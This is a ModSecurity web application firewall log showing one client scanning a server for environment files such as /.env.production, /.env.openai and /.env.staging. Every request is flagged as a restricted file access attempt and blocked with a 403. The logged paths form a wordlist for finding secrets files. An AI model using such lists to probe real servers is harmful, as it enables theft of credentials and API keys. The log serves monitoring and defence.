[Tue Oct 27 07:42:02.002437 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCOCgJ0bI7Z9n11TMAC6AAAAAA"]
[Tue Oct 27 07:42:02.002759 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "auCOCgJ0bI7Z9n11TMAC6AAAAAA"]
[Tue Oct 27 07:42:02.002901 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCOCpVvqGtwGAy54pYQKAAAAA0"]
[Tue Oct 27 07:42:02.003062 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCOCpVvqGtwGAy54pYQKAAAAA0"]
[Tue Oct 27 07:42:02.003365 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auCOCpVvqGtwGAy54pYQKAAAAA0"]
[Tue Oct 27 07:42:02.013897 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCOCiV3rvdaeXJTlLHAOAAAAAM"]
[Tue Oct 27 07:42:02.014082 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCOCiV3rvdaeXJTlLHAOAAAAAM"]
[Tue Oct 27 07:42:02.014374 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "auCOCiV3rvdaeXJTlLHAOAAAAAM"]
[Tue Oct 27 07:42:02.014425 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCOCj4THoroSjopRdUAMgAAAAE"]
[Tue Oct 27 07:42:02.014559 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCOCj4THoroSjopRdUAMgAAAAE"]
[Tue Oct 27 07:42:02.014819 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auCOCj4THoroSjopRdUAMgAAAAE"]
[Tue Oct 27 07:42:02.031556 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCOCgHzNpgY2H50otlpQwAAAAg"]
[Tue Oct 27 07:42:02.031777 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCOCgHzNpgY2H50otlpQwAAAAg"]
[Tue Oct 27 07:42:02.032027 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auCOCgHzNpgY2H50otlpQwAAAAg"]
[Tue Oct 27 07:42:02.041200 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.openai"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCOCm_oZ855J3-bmxEp_gAAAAY"]
[Tue Oct 27 07:42:02.041347 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCOCm_oZ855J3-bmxEp_gAAAAY"]
[Tue Oct 27 07:42:02.041591 2026] [security2:error] [pid 3219292:tid 3219292] [client 34.62.189.80:33262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.openai"] [unique_id "auCOCm_oZ855J3-bmxEp_gAAAAY"]
[Tue Oct 27 07:42:02.050735 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCOCpekxYBRCO5jo1OIMAAAABA"]
[Tue Oct 27 07:42:02.050870 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCOCpekxYBRCO5jo1OIMAAAABA"]
[Tue Oct 27 07:42:02.051152 2026] [security2:error] [pid 3209611:tid 3209611] [client 34.62.189.80:33274] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.php"] [unique_id "auCOCpekxYBRCO5jo1OIMAAAABA"]
[Tue Oct 27 07:42:02.061391 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCOChpfUBgvi1kircRU_wAAABg"]
[Tue Oct 27 07:42:02.061558 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCOChpfUBgvi1kircRU_wAAABg"]
[Tue Oct 27 07:42:02.061819 2026] [security2:error] [pid 3209616:tid 3209616] [client 34.62.189.80:33218] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auCOChpfUBgvi1kircRU_wAAABg"]
[Tue Oct 27 07:42:02.064848 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCOCo0JjhEi1NzVi4XrvwAAAAc"]
[Tue Oct 27 07:42:02.064981 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCOCo0JjhEi1NzVi4XrvwAAAAc"]
[Tue Oct 27 07:42:02.065215 2026] [security2:error] [pid 3220898:tid 3220898] [client 34.62.189.80:33240] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auCOCo0JjhEi1NzVi4XrvwAAAAc"]
[Tue Oct 27 07:42:02.078102 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCOCgJ0bI7Z9n11TMAC6QAAAAA"]
[Tue Oct 27 07:42:02.078294 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCOCgJ0bI7Z9n11TMAC6QAAAAA"]
[Tue Oct 27 07:42:02.078518 2026] [security2:error] [pid 3209601:tid 3209601] [client 34.62.189.80:33246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auCOCgJ0bI7Z9n11TMAC6QAAAAA"]
[Tue Oct 27 07:42:02.079645 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCOCpVvqGtwGAy54pYQKQAAAA0"]
[Tue Oct 27 07:42:02.079781 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCOCpVvqGtwGAy54pYQKQAAAA0"]
[Tue Oct 27 07:42:02.080027 2026] [security2:error] [pid 3201647:tid 3201647] [client 34.62.189.80:33244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auCOCpVvqGtwGAy54pYQKQAAAA0"]
[Tue Oct 27 07:42:02.090444 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCOCiV3rvdaeXJTlLHAOQAAAAM"]
[Tue Oct 27 07:42:02.090593 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCOCiV3rvdaeXJTlLHAOQAAAAM"]
[Tue Oct 27 07:42:02.090840 2026] [security2:error] [pid 3221566:tid 3221566] [client 34.62.189.80:33248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auCOCiV3rvdaeXJTlLHAOQAAAAM"]
[Tue Oct 27 07:42:02.091797 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCOCj4THoroSjopRdUAMwAAAAE"]
[Tue Oct 27 07:42:02.091940 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCOCj4THoroSjopRdUAMwAAAAE"]
[Tue Oct 27 07:42:02.092199 2026] [security2:error] [pid 3209603:tid 3209603] [client 34.62.189.80:33228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCOCj4THoroSjopRdUAMwAAAAE"]
[Tue Oct 27 07:42:02.109207 2026] [security2:error] [pid 3220899:tid 3220899] [client 34.62.189.80:33260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ns2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auCOCgHzNpgY2H50otlpRAAAAAg"]
